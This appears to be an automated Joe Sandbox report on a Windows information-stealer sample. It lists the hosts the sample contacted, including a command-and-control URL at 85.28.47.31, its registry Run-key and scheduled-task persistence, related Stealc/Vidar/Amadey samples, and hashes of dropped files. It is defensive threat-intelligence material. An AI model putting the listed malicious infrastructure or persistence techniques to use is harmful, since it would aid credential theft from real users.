https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.enabled	firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.php9	cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/mozilla-services/screenshotsshims/microsoftVirtualAssistant.jsshims/private-brows	firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://poczta.interia.pl/mh/?mailto=%s	firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://smartblock.firefox.etp/play.svg	firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2267867891.000001F4004E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com	firefox.exe, 0000001C.00000002.2771088874.000001F401DB3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.inbox.lv/compose?to=%s_finalizeInternal/this._finalizePromise	firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.251.35.161	unknown	United States	15169	GOOGLEUS	false
216.58.212.142	unknown	United States	15169	GOOGLEUS	false
142.250.74.206	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
85.28.47.31	unknown	Russian Federation	31643	GES-ASRU	true
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
142.250.176.206	unknown	United States	15169	GOOGLEUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.65.238	unknown	United States	15169	GOOGLEUS	false
142.250.80.3	unknown	United States	15169	GOOGLEUS	false
142.250.185.163	pki-goog.l.google.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.107.21.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.19	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.81.228	unknown	United States	15169	GOOGLEUS	false
216.58.206.46	unknown	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
13.32.99.17	mitmdetection.services.mozilla.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.142	unknown	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
172.217.165.142	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482833
Start date and time:	2024-07-26 08:55:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	JGKjBsQrMc.exe renamed because original name is a hash value
Original Sample Name:	6f59ce88b52487bba7eb59e81525c4f5.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@128/283@60/29
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 58% Number of executed functions: 112 Number of non-executed functions: 202
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, RuntimeBroker.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 142.250.186.67, 66.102.1.84, 142.250.184.206, 34.104.35.123, 13.107.42.16, 204.79.197.239, 13.107.21.239, 142.250.186.174, 13.107.6.158, 2.19.11.120, 2.19.11.100, 74.125.133.84, 142.250.110.84, 2.22.50.217, 2.22.50.227, 2.22.50.220, 142.250.185.227, 173.194.76.84, 74.125.71.84, 142.250.184.234, 142.250.185.202, 142.250.185.170, 142.250.185.106, 172.217.16.138, 142.250.74.202, 142.250.185.234, 172.217.18.10, 142.250.184.202, 216.58.212.170, 142.250.186.42, 142.250.185.138, 216.58.206.74, 142.250.185.74, 142.250.181.234, 216.58.206.42, 40.126.32.133, 20.190.160.20, 40.126.32.76, 20.190.160.17, 40.126.32.74, 40.126.32.134, 40.126.32.68, 20.190.160.22, 74.125.206.84, 44.238.205.197, 50.112.139.120, 52.36.33.58, 34.107.243.93, 20.42.65.92, 104.208.16.94, 142.251.40.163, 142.250.65.163, 142.251.40.131, 142.250.81.227, 142.250.65.195
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, clientservices.googleapis.com, aus5.mozilla.org, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, config-edge-skype.l-0007.l-msedge.net, login.live.com, www.gstatic.com, l-0007.l-msedge.net, onedsblobprdcus16.centralus.cloudapp.azure.com, www.bing.com, fs.microsoft.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, www.tm.v4.a.prd.aadg.akadns.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, wildcardtlu-ssl.azureedge.net, onedsblobprdeus17.eastus.cloudapp.azure.com, edgedl.me.gvt1.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, location.services.mozilla.com, www.tm.lg.prod.aadmsa.trafficmanager.net, config.edge.skype.com.trafficmanager.net, autopush.prod.mozaws.net, time.windows.com, www.bing.com.edg
Execution Graph export aborted for target JGKjBsQrMc.exe, PID 7044 because it is empty
Execution Graph export aborted for target explorti.exe, PID 6004 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 6488 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:13:02	API Interceptor	473x Sleep call for process: explorti.exe modified
04:13:21	API Interceptor	166x Sleep call for process: cda9e1cbbc.exe modified
04:13:48	API Interceptor	1x Sleep call for process: firefox.exe modified
08:56:10	Task Scheduler	Run new task: explorti path: C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
10:13:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run cda9e1cbbc.exe C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
10:13:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e0dbbf79bf.exe C:\Users\user\1000003002\e0dbbf79bf.exe
10:13:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run cda9e1cbbc.exe C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
10:13:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e0dbbf79bf.exe C:\Users\user\1000003002\e0dbbf79bf.exe
10:13:38	Task Scheduler	Run new task: axplong path: C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.61.3	file.exe	Get hash	malicious	Babadeda	Browse
	file.exe	Get hash	malicious	Babadeda	Browse
	file.exe	Get hash	malicious	Babadeda	Browse
	My Info Tech Partner Executed Agreement Docs#071999(Revised).pdf	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Babadeda	Browse
	fu[1].exe	Get hash	malicious	Bdaejec	Browse
	LisectAVT_2403002A_427.exe	Get hash	malicious	Unknown	Browse
	Setup 3.0.0.msi	Get hash	malicious	Unknown	Browse
	AGREEMENT AND APPROVAL REPORT FECRWY RN & FR OF 2024-501144_6.5.24.pdf	Get hash	malicious	HTMLPhisher	Browse
85.28.47.31	Jzu7V2qdJx.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
152.195.19.97	http://ustteam.com/	Get hash	malicious	Unknown	Browse	www.ust.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	LisectAVT_2403002A_14.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	LisectAVT_2403002A_14.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	LisectAVT_2403002A_210.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse	185.199.109.133
	LisectAVT_2403002A_328.exe	Get hash	malicious	Petite Virus	Browse	185.199.108.133
	LisectAVT_2403002A_328.exe	Get hash	malicious	Petite Virus	Browse	185.199.111.133
	LisectAVT_2403002A_467.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	LisectAVT_2403002B_286.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	LisectAVT_2403002B_286.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	LisectAVT_2403002B_484.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	185.199.111.133
	LisectAVT_2403002B_484.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	185.199.108.133
restores.name	KfxEYxBsJm.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	SecuriteInfo.com.Python.Stealer.1548.11147.30861.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	SecuriteInfo.com.Win64.Evo-gen.16643.7451.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	file.exe	Get hash	malicious	Python Stealer, Amadey, LummaC Stealer, Mars Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	65.0.21.192
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	65.0.21.192
	setup.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	65.0.21.192
	SecuriteInfo.com.Win64.MalwareX-gen.18499.25362.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	DPqKF5vqpe.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, SystemBC	Browse	52.143.157.238
	KRPCeWt0II.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	52.143.157.238
	VwjpUyPk2S.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	52.143.157.238
example.org	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	random.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	random.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
chrome.cloudflare-dns.com	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	162.159.61.3
	Endermanch@LPS2019.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	LisectAVT_2403002A_427.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	Setup 3.0.0.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	LisectAVT_2403002B_286.exe	Get hash	malicious	Unknown	Browse	162.159.61.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	QMe7JpPtde.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	random.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	random.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	Endermanch@MEMZ.exe	Get hash	malicious	Bdaejec, KillMBR	Browse	34.117.239.71
	fu[1].exe	Get hash	malicious	Bdaejec	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	LisectAVT_2403002A_335.exe	Get hash	malicious	DanaBot	Browse	34.65.140.140
	LisectAVT_2403002A_335.exe	Get hash	malicious	DanaBot	Browse	34.65.140.140
	LisectAVT_2403002A_427.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
CLOUDFLARENETUS	N#U00b0025498563-.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	ynhHNexysa.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	http://lotsa.pplanr.com	Get hash	malicious	Unknown	Browse	104.21.44.162
	2FBexXRCHR.rtf	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	QMe7JpPtde.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	http://leostop.com	Get hash	malicious	Unknown	Browse	104.16.141.114
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
EDGECASTUS	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	152.195.19.97
	file.exe	Get hash	malicious	Babadeda	Browse	152.195.19.97
	file.exe	Get hash	malicious	Babadeda	Browse	152.195.19.97
	file.exe	Get hash	malicious	Babadeda	Browse	152.195.19.97
	file.exe	Get hash	malicious	Babadeda	Browse	152.195.19.97
	My Info Tech Partner Executed Agreement Docs#071999(Revised).pdf	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	Babadeda	Browse	152.195.19.97
	fu[1].exe	Get hash	malicious	Bdaejec	Browse	152.195.19.97
	http://56edthdxfhbx.pages.dev/	Get hash	malicious	TechSupportScam	Browse	152.199.21.175
GES-ASRU	Jzu7V2qdJx.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	85.28.47.70
	azeyNF3kkf.exe	Get hash	malicious	Stealc, Vidar	Browse	85.28.47.70
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://baghoorg.xyz	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	http://cdn.designer-images.com	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	52.165.165.26 184.28.90.27
	http://www.biogas.org	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	http://b3-bornim.de	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	http://google.com.mx/amp/s/ecbma-rhfobf-vbasi-randall13liny-online.translate.goog/mqiogm/kdpc/bbk/ycdzjp/npxmll/bpua/annelore.tack@vpkgroup.com/zelenskky/c?_x_tr_sl=de&_x_tr_tl=en&_x_tr_hl=id&_x_tr_pto=wapp	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	http://lotsa.pplanr.com	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	http://leostop.com	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	file.exe	Get hash	malicious	Babadeda	Browse	52.165.165.26 184.28.90.27
	file.exe	Get hash	malicious	Babadeda	Browse	52.165.165.26 184.28.90.27
fb0aa01abe9d8e4037eb3473ca6e2dca	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.149.100.209 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.149.100.209 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.149.100.209 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.149.100.209 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.149.100.209 34.160.144.191
	random.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.149.100.209 34.160.144.191
	random.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.149.100.209 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.149.100.209 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.149.100.209 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.149.100.209 34.160.144.191
37f463bf4616ecd445d4a1937da06e19	kYAaLR8o4t.hta	Get hash	malicious	Unknown	Browse	103.28.36.182
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	103.28.36.182
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	103.28.36.182
	file.exe	Get hash	malicious	Vidar	Browse	103.28.36.182
	7Y18r(169).exe	Get hash	malicious	CryptOne	Browse	103.28.36.182
	7Y18r(203).exe	Get hash	malicious	Upatre	Browse	103.28.36.182
	TBw6qwEBHZ.exe	Get hash	malicious	BlackMoon, Neshta, XRed	Browse	103.28.36.182
	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	103.28.36.182
	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	103.28.36.182
	PgrZ7RuW1I.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	103.28.36.182

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Bootstrapper.exe	Get hash	malicious	Hancitor, Vidar	Browse
	azeyNF3kkf.exe	Get hash	malicious	Stealc, Vidar	Browse
	Setup .exe	Get hash	malicious	Go Injector, MicroClip, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Bootstrapper.exe	Get hash	malicious	Hancitor, Vidar	Browse
	azeyNF3kkf.exe	Get hash	malicious	Stealc, Vidar	Browse
	Setup .exe	Get hash	malicious	Go Injector, MicroClip, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse

Created / dropped Files

C:\ProgramData\AEGIJKEHCAKFCAKFHDAA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGHJEBKJEGHJKECAAKJK

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9616
Entropy (8bit):	5.511289182052655
Encrypted:	false
SSDEEP:	192:lLnSRkGYbBp6tqUCaXr6VqkHNBw8r3nSl:geqqUWJPwS0
MD5:	97CE957EEA29917B77C10F2ADC1EF9AB
SHA1:	82031F1482BE23A62B86FB004B1B2E1B2998BD05
SHA-256:	09CBD1E9E5E206A43EB09DFE17592CAED5B8920DFC3F3F213ADE3704A4011C74
SHA-512:	02D1024B3E0C3A2BA1BF247EF24CDF6D2A866EF7D401C065581B457D89CCCFA9B478027A1A39F0FD7AA80F47C3E5B225F8EA95E8AC69328AE2F924675C0C63FF
Malicious:	false
